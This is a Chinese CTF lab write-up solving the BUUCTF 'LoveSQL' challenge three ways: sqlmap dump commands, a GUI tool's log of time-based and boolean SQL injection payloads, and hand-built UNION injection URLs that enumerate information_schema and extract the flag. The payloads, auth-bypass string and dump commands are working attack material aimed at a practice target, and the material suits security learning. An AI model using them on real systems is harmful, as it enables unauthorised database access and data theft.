文章目录

  • 前言
  • 一、使用sqlmap爆flag
    • 1.结合burp抓包进行爆破
      • Ⅰ.使用burp进行抓包,将抓取文件保存至sqlmap目录下
      • Ⅱ.在当前目录输入cmd并调取命令
      • Ⅲ.获取表
      • Ⅳ.获取列
      • Ⅴ.获取flag
    • 2.对存在注入点的网页直接使用sqlmap
      • 最终得到flag
  • 二、使用可视化工具注入
    • 1.抓包并执行
    • 2.填好相关数据,爆破flag
  • 三.手工注入
    • 第一步 实验报错
    • 第二步 构造url,实验字段数
    • 第三步 查询测试注入点,查看回显点
    • 第四步 此时查看数据库中的表,构造url
    • 第五步 查看一下表中的字段
    • 第六步 查看字段中的数据
  • 总结

前言

当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。
这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。

一、使用sqlmap爆flag

1.结合burp抓包进行爆破

Ⅰ.使用burp进行抓包,将抓取文件保存至sqlmap目录下

使用burp抓取数据包,保存为1.txt保存到sqlmap目录下

抓包时记得抓取存在注入点的包–输入账号密码后发送的请求包

GET /check.php?username=1&password=1 HTTP/1.1
Host: 1d71be1c-6948-47f6-9f38-d8cda8f66762.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://1d71be1c-6948-47f6-9f38-d8cda8f66762.node4.buuoj.cn:81/
Upgrade-Insecure-Requests: 1

Ⅱ.在当前目录输入cmd并调取命令

获取数据库

python sqlmap.py -r 1.txt --dbs


得到数据库列表如下,猜flag可能在geek库当中

Ⅲ.获取表

输入命令:

python sqlmap.py -r 1.txt -D geek --tables


得到l0ve1ysq1这个表

Ⅳ.获取列

输入命令:

python sqlmap.py -r 1.txt -D geek -T l0ve1ysq1 --columns

得到仨列内容,下面就是获取当中的flag了

Ⅴ.获取flag

输入命令:

python sqlmap.py -r 1.txt -D geek -T l0ve1ysq1 -C id,password,username --dump


得到flag如下:

flag{58703d1e-c8af-4f08-8820-869f89a00fd9}

2.对存在注入点的网页直接使用sqlmap

其他步骤一样就是会遇到报错,加个命令即可

python sqlmap.py -u "http://1d71be1c-6948-47f6-9f38-d8cda8f66762.node4.buuoj.cn:81/check.php?username=1&password=1" --dbs  --random-agent --risk 3

最终得到flag

最终命令:

python sqlmap.py -u "http://1d71be1c-6948-47f6-9f38-d8cda8f66762.node4.buuoj.cn:81/check.php?username=1&password=1" --dbs  --random-agent --risk 3 -D geek -T l0ve1ysq1 -C id,password,username --dump

二、使用可视化工具注入

1.抓包并执行

代码如下(示例):

自动加载当前固定代理配置成功!----2022/9/2 16:21:11
自动加载上次配置成功!----2022/9/2 16:21:11
自动加载上次代理池配置成功,发现代理:1个!----2022/9/2 16:21:11
自动检查更新,没有发现新版本!----2022/9/2 16:21:12
自动识别网页编码为:“UTF-8”----2022/9/2 16:23:21
报告大侠,发现2个参数,请稍候正在对每一个参数进行注入测试!----2022/9/2 16:23:21
报告大侠,正在对参数username进行盲注测试!----2022/9/2 16:23:21
自动选择数据库类型完成!----2022/9/2 16:23:21
通过错误显示信息,发现数据库为MySQL!----2022/9/2 16:23:21
正在测试PayLoad: if(1=1) waitfor delay '0:0:2'------2022/9/2 16:23:22
正在测试PayLoad:' if(1=1) waitfor delay '0:0:2'------2022/9/2 16:23:22
正在测试PayLoad:;if(1=1) waitfor delay '0:0:2'------2022/9/2 16:23:22
正在测试PayLoad:';if(1=1) waitfor delay '0:0:2'------2022/9/2 16:23:22
正在测试PayLoad:');if(1=1) waitfor delay '0:0:2'------2022/9/2 16:23:22
正在测试PayLoad:);if(1=1) waitfor delay '0:0:2'------2022/9/2 16:23:22
正在测试PayLoad: and (select 1 from (select(sleep(2-(if((1=1), 0, 2)))))test)#----2022/9/2 16:23:22
正在测试PayLoad:) and (select 1 from (select(sleep(2-(if((1=1), 0, 2)))))test)#----2022/9/2 16:23:23
正在测试PayLoad:' and (select 1 from (select(sleep(2-(if((1=1), 0, 2)))))test)#----2022/9/2 16:23:23
自动选择数据库类型完成!----2022/9/2 16:23:27
测试可能存在延时注入:' and (select 1 from (select(sleep(2-(if((1=1), 0, 2)))))test)#----数据库类型:MySQL----2022/9/2 16:23:27
正在测试PayLoad: and 1=1: and 1=2:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:27
正在测试PayLoad:' or (1=1) and 'a'='a:' or (1=2) and 'a'='a:Bool OR字符型SQL注入:1=1----2022/9/2 16:23:27
正在测试PayLoad: and 1=1#: and 1=2#:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:27
正在测试PayLoad:' and 1=1#:' and 1=2#:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:27
正在测试PayLoad: and 1=1-- -: and 1=2-- -:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:27
正在测试PayLoad:' and 1=1-- -:' and 1=2-- -:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:27
正在测试PayLoad: or(1=1)-- -: or(1=2)-- -:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:27
正在测试PayLoad:' or(1=1)#:' or(1=2)#:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:27
正在测试PayLoad:' and 1=1 and 'a'='a:' and 1=2 and 'a'='a:Bool AND字符型SQL注入:1=1----2022/9/2 16:23:28
正在测试PayLoad:%' and 1=1 and '%'=':%' and 1=2 and '%'=':Bool AND搜索型SQL注入('%xx%'):1=1----2022/9/2 16:23:28
正在测试PayLoad:') and 1=1 and ('1'='1:') and 1=2 and ('1'='1:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:28
正在测试PayLoad:) or(1=1)-- -:) or(1=2)-- -:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:28
正在测试PayLoad:') or(1=1)#:') or(1=2)#:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:28
正在测试PayLoad:) and 1=1-- -:) and 1=2-- -:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:28
正在测试PayLoad:') and 1=1#:') and 1=2#:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:28
正在测试PayLoad:) and 1=1 and (2=2:) and 1=2 and (2=2:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:28
正在测试PayLoad:') as tempxtestxtable where 1=1-- -:') as tempxtestxtable where 1=2-- -:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:29
报告大侠,盲注测试完成,正在进行错误显示注入测试!----2022/9/2 16:23:29
发现MySQL错误显示注入----2022/9/2 16:23:29
自动选择数据库类型完成!----2022/9/2 16:23:29
自动标记错误显示注入完成!----2022/9/2 16:23:29
报告大侠,错误显示测试完成,正在进行Union注入测试!----2022/9/2 16:23:29
此注入点支持Union注入,自动选择注入方式完成!----2022/9/2 16:23:30
自动选择数据库类型完成!----2022/9/2 16:23:30
报告大侠,正在对参数password进行盲注测试!----2022/9/2 16:23:30
自动选择数据库类型完成!----2022/9/2 16:23:30
通过错误显示信息,发现数据库为MySQL!----2022/9/2 16:23:30
正在测试PayLoad: if(1=1) waitfor delay '0:0:2'------2022/9/2 16:23:30
正在测试PayLoad:' if(1=1) waitfor delay '0:0:2'------2022/9/2 16:23:30
正在测试PayLoad:;if(1=1) waitfor delay '0:0:2'------2022/9/2 16:23:30
正在测试PayLoad:';if(1=1) waitfor delay '0:0:2'------2022/9/2 16:23:30
正在测试PayLoad:');if(1=1) waitfor delay '0:0:2'------2022/9/2 16:23:31
正在测试PayLoad:);if(1=1) waitfor delay '0:0:2'------2022/9/2 16:23:31
正在测试PayLoad: and (select 1 from (select(sleep(2-(if((1=1), 0, 2)))))test)#----2022/9/2 16:23:31
正在测试PayLoad:) and (select 1 from (select(sleep(2-(if((1=1), 0, 2)))))test)#----2022/9/2 16:23:31
正在测试PayLoad:' and (select 1 from (select(sleep(2-(if((1=1), 0, 2)))))test)#----2022/9/2 16:23:31
自动选择数据库类型完成!----2022/9/2 16:23:35
测试可能存在延时注入:' and (select 1 from (select(sleep(2-(if((1=1), 0, 2)))))test)#----数据库类型:MySQL----2022/9/2 16:23:35
正在测试PayLoad: and 1=1: and 1=2:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:35
正在测试PayLoad:' or (1=1) and 'a'='a:' or (1=2) and 'a'='a:Bool OR字符型SQL注入:1=1----2022/9/2 16:23:35
正在测试PayLoad: and 1=1#: and 1=2#:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:35
正在测试PayLoad:' and 1=1#:' and 1=2#:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:35
正在测试PayLoad: and 1=1-- -: and 1=2-- -:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:36
正在测试PayLoad:' and 1=1-- -:' and 1=2-- -:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:36
正在测试PayLoad: or(1=1)-- -: or(1=2)-- -:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:36
正在测试PayLoad:' or(1=1)#:' or(1=2)#:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:36
正在测试PayLoad:' and 1=1 and 'a'='a:' and 1=2 and 'a'='a:Bool AND字符型SQL注入:1=1----2022/9/2 16:23:36
正在测试PayLoad:%' and 1=1 and '%'=':%' and 1=2 and '%'=':Bool AND搜索型SQL注入('%xx%'):1=1----2022/9/2 16:23:36
正在测试PayLoad:') and 1=1 and ('1'='1:') and 1=2 and ('1'='1:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:36
正在测试PayLoad:) or(1=1)-- -:) or(1=2)-- -:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:36
正在测试PayLoad:') or(1=1)#:') or(1=2)#:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:36
正在测试PayLoad:) and 1=1-- -:) and 1=2-- -:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:37
正在测试PayLoad:') and 1=1#:') and 1=2#:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:37
正在测试PayLoad:) and 1=1 and (2=2:) and 1=2 and (2=2:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:37
正在测试PayLoad:') as tempxtestxtable where 1=1-- -:') as tempxtestxtable where 1=2-- -:Bool AND数字型SQL注入:1=1----2022/9/2 16:23:37
报告大侠,盲注测试完成,正在进行错误显示注入测试!----2022/9/2 16:23:37
发现MySQL错误显示注入----2022/9/2 16:23:38
自动选择数据库类型完成!----2022/9/2 16:23:38
自动标记错误显示注入完成!----2022/9/2 16:23:38
报告大侠,错误显示测试完成,正在进行Union注入测试!----2022/9/2 16:23:38
此注入点支持Union注入,自动选择注入方式完成!----2022/9/2 16:23:38
自动选择数据库类型完成!----2022/9/2 16:23:38
注入测试完成!----2022/9/2 16:23:38

2.填好相关数据,爆破flag

得到flag如下:

flag{58703d1e-c8af-4f08-8820-869f89a00fd9}

不推荐一直用可视化工具,虽然好用,整个流程半分钟

三.手工注入

第一步 实验报错

实验,看看输入1 1’是否会报错,发现1’报错
直接上万能密码:(详细可看上一个整理的万能密码表)
注意:需要用#注释掉。

1' or 1=1;#

第二步 构造url,实验字段数

原url:http://1d71be1c-6948-47f6-9f38-d8cda8f66762.node4.buuoj.cn:81/check.php?username=1%27+or+1%3D1%3B%23&password=1
/check.php?username=1' order by 3%23&password=1     # 存在
/check.php?username=1' order by 4%23&password=1     # 报错


因此,得到总共有三个字段数

注意:url中存在url编码,特殊注释字符应当用url编码表示,此题中#用23%表示。

第三步 查询测试注入点,查看回显点

构造url,得到回显点

/check.php?username=1' union select 1,2,3%23&password=1


很明显,2和3都是注入点,而且没有过滤,接下来直接写命令了。

/check.php?username=1' union select 1,database(),3%23&password=ads

得到数据库名:geek

第四步 此时查看数据库中的表,构造url

/check.php?username=1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

或者:

/check.php?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=ads

此时得到database中的两个表,分别是geekuser,10ve1ysq1

information_schema 表介绍

第一个查询看看库里有多少个表,表名等 select * from INFORMATION_SCHEMA.TABLES

information_schema这张数据表保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。

再简单点,这台MySQL服务器上,到底有哪些数据库、各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在information_schema表里面。

Mysql的INFORMATION_SCHEMA数据库包含了一些表和视图,提供了访问数据库元数据的方式。

元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。

第五步 查看一下表中的字段

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

或者:

/check.php?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=ads

得到的是l0ve1ysq1中的三个字段

第六步 查看字段中的数据

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

或者:

/check.php?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=ads

得到flag{58703d1e-c8af-4f08-8820-869f89a00fd9}


总结

每个靶场题目建议多换几种思路,要不然到了ctf比赛一旦卡壳就坏事。
靶场:链接

【sql常见注入方法3种】--靶场lovesql相关推荐

  1. 原理+实战掌握SQL注入方法

    本文首发于先知社区 原理+实战掌握SQL注入方法 前言: SQL注入是web安全中最常见的攻击方式,SQL注入有很多方法,但如果只知道payload,不知道原理,感觉也很难掌握,这次就总结一下我所遇到 ...

  2. sql 单引号_三种数据库的 SQL 注入详解

    SQL 注入原理 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用 ...

  3. sql server注入_SQL注入:SQL Server中的介绍和预防方法

    sql server注入 A SQL injection attack is one of the most commonly used hacking techniques. It allows h ...

  4. SQL注入简介和注入方法教学

    文章目录 SQL注入原理 SQL注入危害 SQL注入判断 SQL注入的分类 按参数类型分类 按数据库返回结果分类 按注入点位置分类 按参数类型分类 数字型 字符型 搜索型 按数据库返回结果分类 回显注 ...

  5. SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战

    SQL注入简介 SQL注入原理 SQL注入是通过将恶意的sql语句插入到应用代码中,由于过滤不严导致的在后台执行恶意sql语句而产生的漏洞. SQL注入类型 注入参数:数字型注入.字符型注入.搜索型注 ...

  6. sql注入 思路及sqli靶场

    判断是否为动态页面 输入不同的id 看回显 内容不同则为动态页面 判断闭合符号 输入\ 回显中\后面的就是闭合符号 判断是否存在SQL注入 输入1') and 1=1.如果得到输出结果,证明用户可通过 ...

  7. SQL 登录注入脚本_常见web安全问题,SQL注入、XSS、CSRF,基本原理以及如何防御...

    1.SQL注入 原理: 1).SQL命令可查询.插入.更新.删除等,命令的串接.而以分号字元为不同命 令的区别.(原本的作用是用于SubQuery或作为查询.插入.更新.删除--等 的条件式) 2). ...

  8. 墨者靶场-SQL手工注入漏洞测试(MySQL数据库-字符型)

    0x00 前言 我们都知道,SQL注入分数字型和字符型,我们上次讲的是最基本的数字型SQL注入,这次我们就来讲最基本的字符型SQL注入.同样,如果是明白原理和方法的话,看懂这篇文章并不难,但是如果不清 ...

  9. 墨者学院SQL手工注入靶场漏洞详解

    墨者学院SQL手工注入靶场漏洞详解 目录 靶场地址 步骤详解 目录 靶场地址 该靶场由墨者学院安全工程师"墨者"所搭建,靶场环境为Nginx+PHP+MySQL,启动靶场只需1墨币 ...

最新文章

  1. lua中正则表达式的坑
  2. 5G产业发展最新进展深度解析(144页PPT)
  3. 嵌入式VxWorks系统开发与应用
  4. Rails全局处理Error
  5. GDCM:gdcm::FileMetaInformation的测试程序
  6. VTK:绘图之SurfacePlot
  7. THYMELEAF 如何用TH:IF做条件判断
  8. php的SAPI,CLI SAPI,CGI SAPI
  9. 如何从视频中删除声音?
  10. Atitit。Tree文件解析器的原理流程与设计实现  java  c# php js
  11. 找到好东西,可以显示最忙碌的java线程的脚本
  12. 金融网络直播室软件的功能介绍
  13. 计算机网络基础应用课程标准,王建波《计算机网络基础》课程标准.doc
  14. 最新小说免费API--书香楼,每日不断更新
  15. 花两个月吃透京东T8推荐的178页京东基础架构建设之路,入职定T5
  16. 外贸出口流程全图(转)
  17. U盘中Word文档打不开怎么办?
  18. 软件测试找游戏bug,游戏测试用例及游戏测试bug详解
  19. JAVA工具类-根据身份证进行性别和年龄计算
  20. 数组的reduce的妙用之处

热门文章

  1. MFCC声纹特征提取
  2. java程序设置开机自启动
  3. 全球与中国非晶磁芯市场现状及未来发展趋势
  4. 程序员的小节日__回文日
  5. jetson nano 思岚雷达A1 QT
  6. 如何转换音频格式mp3,可以免费音频格式转换的软件
  7. 如何使用RSS阅读器
  8. Git一站式学习笔记
  9. Unreal的常见动画流程
  10. Matlab--用代码让图片更好看